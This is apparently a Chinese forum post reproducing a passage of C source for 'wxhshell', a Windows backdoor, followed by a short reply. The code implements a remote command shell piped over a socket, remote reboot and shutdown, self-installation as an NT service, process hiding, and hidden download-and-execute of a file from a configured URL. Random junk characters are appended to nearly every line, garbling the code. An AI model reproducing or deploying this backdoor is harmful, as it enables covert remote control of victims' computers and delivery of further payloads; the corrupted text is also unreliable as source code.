  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ML!Z m[I9  
  } FV>LD% uu  
  else { )pV5l|`  
"If]qX(w  
    switch(cmd[0]) { ixZ w;+h  
   q[#2`  
  // 帮助 L\--h`~YU  
  case '?': { &{?*aK&%3l  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Cvr?%+)$M  
    break; q$Z.5EN  
  } 2XubM+6  
  // 安装 8r7~ >p~  
  case 'i': { h\ema|  
    if(Install()) 5"=qVmT)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z> jk\[  
    else L$^ya%2  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7RQ.oee  
    break; *P,dR]-m  
    } pZx'%-\-T  
  // 卸载 $bRakF1'S  
  case 'r': { )'BuRN8  
    if(Uninstall()) c0.i  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); fJ_d ,4  
    else I6d4<#Q@L  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); y<bA Y_-[  
    break; 2yk32|  
    } 6vySOVMj  
  // 显示 wxhshell 所在路径 :!a'N3o>  
  case 'p': { 8{ aS$V"  
    char svExeFile[MAX_PATH]; I^*&u,  
    strcpy(svExeFile,"\n\r"); '`$z!rA  
      strcat(svExeFile,ExeFile); c=iv\hn  
        send(wsh,svExeFile,strlen(svExeFile),0); kGsd3t!'  
    break; ,C%fA>?UF8  
    } hm"i\JZ3N  
  // 重启 Z<6XB{Nh\  
  case 'b': { 3[plwe  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 1'wwwxe7  
    if(Boot(REBOOT)) rcUXYJCh-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5(0f"zY  
    else { (he cvJ  
    closesocket(wsh); 7/nnl0u8  
    ExitThread(0); dYdZt<6W<(  
    } ]RgLTqv4x  
    break; d?G ~k[C!a  
    } `wRQ-<Y  
  // 关机 fG2hCP+  
  case 'd': { #jAlmxN  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); #flOaRl.  
    if(Boot(SHUTDOWN)) bkfwsYZx  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZSC Zt&2v  
    else { I^>m-M.  
    closesocket(wsh); eYd6~T[9  
    ExitThread(0); / 4P+  
    } :td#zM  
    break; '|mVY; i[  
    } ))Ws{  
  // 获取shell 0J-]  
  case 's': { {kGcZf3h  
    CmdShell(wsh); "L yMw){  
    closesocket(wsh); #-b0U[,.  
    ExitThread(0); g.![>?2$8  
    break; acd8?>%[  
  } <T?H H$es)  
  // 退出 P%`|Tu!B  
  case 'x': { w E^6DNh  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); C{mL]ds<  
    CloseIt(wsh); Vsh7>|@  
    break; s ~'><ioh  
    } H'N$Vv2q  
  // 离开 6[g~p< 8n}  
  case 'q': { sHC4iMIw  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); P70\ |M0~y  
    closesocket(wsh); DA'A-C2  
    WSACleanup(); f>$Ld1  
    exit(1); ;Ml??B]C  
    break; M{#  
        } !Z +4FwF  
  } {k.Dy92  
  } L'XX++2  
1T(:bM_t`7  
  // 提示信息 Wez"E2J`  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?M'_L']N[  
} ^+Ho#]  
  } W\xM$#)m  
9Yih%d,  
  return; Ul@ Jg    
} TG ,T>'   
0Y7b$~n'Y  
// shell模块句柄 Xq"@Z  
int CmdShell(SOCKET sock) B^'Uh+Y  
{ r?Y+TtF\e  
STARTUPINFO si; uYW9kw>$  
ZeroMemory(&si,sizeof(si)); tEEeek(!  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; #P:o  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; iwb]mJUA  
PROCESS_INFORMATION ProcessInfo; @.T w*t  
char cmdline[]="cmd"; lLD-QO}/  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); nNe`?TS?f  
  return 0; B{IYVviiP  
} 4Y>v+N^  
jA ?tDAx`  
// 自身启动模式 Fa]fSqy@;  
int StartFromService(void) 2K/+6t}  
{ pyPS5vWG  
typedef struct Of| e]GR  
{ 5X^bvW26  
  DWORD ExitStatus; BzFD_A>j;_  
  DWORD PebBaseAddress; a|B^%  
  DWORD AffinityMask; XRU^7@Ylks  
  DWORD BasePriority; B-63IN  
  ULONG UniqueProcessId; }T!2IaAB  
  ULONG InheritedFromUniqueProcessId; AEx|<E0  
}   PROCESS_BASIC_INFORMATION; [5&zyIi  
Q8:`;W  
PROCNTQSIP NtQueryInformationProcess; wFr}]<=Mi  
,>-Q#  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Mv9q-SIc[  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ]KX _a1e  
<a>\.d9#)7  
  HANDLE             hProcess; $,+'|_0yM  
  PROCESS_BASIC_INFORMATION pbi; b}P5*}$:9"  
cp|&&q  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ![O@{/  
  if(NULL == hInst ) return 0; \VW&z:/*pZ  
.:eNL]2%:  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ]V9z)uz  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); .BLF7> M1  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); fneg[K  
:v/6k  
  if (!NtQueryInformationProcess) return 0; ![H!Y W'  
m#[tY >Q[b  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); gR `:)>  
  if(!hProcess) return 0; 0(9]m)e  
N7lWeF  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; yKR0]6ahA  
;9cBlthh  
  CloseHandle(hProcess); u*R9x3&/5  
pa0'\  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); F+e J9  
if(hProcess==NULL) return 0; o!Vs{RRu}  
yK"OZ2Mv  
HMODULE hMod; >-0b@ +j  
char procName[255]; I+ipTeB^  
unsigned long cbNeeded; QiU!;!s  
"Fv6u]Rv  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); X8T7(w<0%f  
R#Z1+&='  
  CloseHandle(hProcess); Nkfu k  
1k@k2rE  
if(strstr(procName,"services")) return 1; // 以服务启动 =2%EIZ0oW  
\! 8`kC  
  return 0; // 注册表启动 .ON+ ( #n  
} a7G0  
gI A{6,A  
// 主模块 c"+N{$ vp  
int StartWxhshell(LPSTR lpCmdLine) (]BZ8GOx  
{ #&\hgsw/T  
  SOCKET wsl; Vy = fm  
BOOL val=TRUE; "A jtNL5  
  int port=0; Xq&x<td  
  struct sockaddr_in door; YWA:741  
F<q3{}1zR  
  if(wscfg.ws_autoins) Install(); %g(h%V9f  
Y^gK^ ?K  
port=atoi(lpCmdLine); C]UBu-]#S  
x q93>Hs  
if(port<=0) port=wscfg.ws_port; t" 1'B!4  
ak50]KYo  
  WSADATA data; `+b>@2D_  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; lv}U-vK  
"r0z( j  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   1QRE-ndc  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ;% *e}w0  
  door.sin_family = AF_INET; 8|[\Tp:;  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 78tWzO  
  door.sin_port = htons(port); `4s5yNUi=  
5Ah-aDBj  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { N$ZThZqqv  
closesocket(wsl); 5=Bj?xb$'  
return 1; w <]7:/  
} 0_bt*.w I+  
6wzF6] @O  
  if(listen(wsl,2) == INVALID_SOCKET) { zTY|Z@:  
closesocket(wsl); ok X\z[X  
return 1; x&R&\}@G m  
} !D%*s,t\'  
  Wxhshell(wsl); 3m4?l ~  
  WSACleanup(); K@VXFV  
 $J mL)r  
return 0; @6GM)N\{[  
7|6tH@4Ub  
} w_^&X;0^  
h~elF1dG  
// 以NT服务方式启动 bWv6gOPR3  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) PKC``+K i  
{ K_nN|'R-  
DWORD   status = 0; > c7/E  
  DWORD   specificError = 0xfffffff; fRT:@lV  
bi!4I<E>k  
  serviceStatus.dwServiceType     = SERVICE_WIN32; <Q=ES,M  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ^e8R 43w:!  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 5h[u2&;G  
  serviceStatus.dwWin32ExitCode     = 0; p)ta c*US  
  serviceStatus.dwServiceSpecificExitCode = 0; QN-n9f8  
  serviceStatus.dwCheckPoint       = 0; CzzG  
  serviceStatus.dwWaitHint       = 0; +nd'Uf   
lf|e8kU\f  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); U6X~]|o  
  if (hServiceStatusHandle==0) return; xpyb&A  
*NV`6?o@6  
status = GetLastError(); K_`*ZV{r  
  if (status!=NO_ERROR) w;QDQ fx0  
{ (W+9 u0Zq  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; `ea$`2  
    serviceStatus.dwCheckPoint       = 0; wRPBJ-C)  
    serviceStatus.dwWaitHint       = 0; (uOW5,e7  
    serviceStatus.dwWin32ExitCode     = status; O)Nt"k7 b  
    serviceStatus.dwServiceSpecificExitCode = specificError; fokT)nf~^8  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8)rv.'A((E  
    return; (Wq9YDD@  
  } joDfvY*[  
K@n.$g  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; NOx&`OU+  
  serviceStatus.dwCheckPoint       = 0; /BT;Q)( &  
  serviceStatus.dwWaitHint       = 0; kRiWNEw  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); C4Z~9fzT  
} T<54qe4`p  
a\}|ikiE  
// 处理NT服务事件,比如:启动、停止 e%bER ds  
VOID WINAPI NTServiceHandler(DWORD fdwControl) CR934TE+  
{ w#F+rh3  
switch(fdwControl) |@nvg>mu  
{ e+y< a~N  
case SERVICE_CONTROL_STOP: jT: :o  
  serviceStatus.dwWin32ExitCode = 0; (6+6]`c$  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 8fM}UZI  
  serviceStatus.dwCheckPoint   = 0; 1>%SSQ  
  serviceStatus.dwWaitHint     = 0; S$+ v?Y`)  
  { Ynz^M{9)K  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3!Qt_,  
  } ts;_T..L  
  return; ";s5It  
case SERVICE_CONTROL_PAUSE: )SA$hwR  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; c;U\nC<Y  
  break; *~!xeL  
case SERVICE_CONTROL_CONTINUE: +ZRsa`'^  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 2Fx<QRz  
  break; 18[f_0@ #  
case SERVICE_CONTROL_INTERROGATE: f=K1ZD  
  break; 8@h zw~>  
}; LOnhFX   
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); MCh8Q|Yx4  
} u~s'<c+8_  
>.{ ..~"K  
// 标准应用程序主函数 =AD/5E,3  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) %4 SREq  
{ 3]N}k|lb%  
_D,8`na>K  
// 获取操作系统版本 tB_V%qH  
OsIsNt=GetOsVer(); sx]?^KR:  
GetModuleFileName(NULL,ExeFile,MAX_PATH); uTl:u  
/kw4":{]  
  // 从命令行安装 CCEx>*E6c  
  if(strpbrk(lpCmdLine,"iI")) Install(); ^OBaVb  
c4-&I"z  
  // 下载执行文件 &V=54n=O?  
if(wscfg.ws_downexe) { fykN\b  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) xZ@Y`2A':  
  WinExec(wscfg.ws_filenam,SW_HIDE); 22BJOh   
} ^7"%eWT`  
raqLXO!j  
if(!OsIsNt) { :W1,s53  
// 如果时win9x,隐藏进程并且设置为注册表启动 JA(nDD/;  
HideProc(); NWAF4i&$  
StartWxhshell(lpCmdLine); Xx'>5d>  
} y5Pw*?kn  
else gE ,j\M*  
  if(StartFromService()) JG( <  
  // 以服务方式启动 w4x8 Sre  
  StartServiceCtrlDispatcher(DispatchTable); mKsj7  
else Ki=7nKs  
  // 普通方式启动 4|2$b:t  
  StartWxhshell(lpCmdLine); VBH[aIW  
Nb];LCx  
return 0; %M`|0g}!  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
如果您在写长篇帖子又不马上发表,建议存为草稿
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八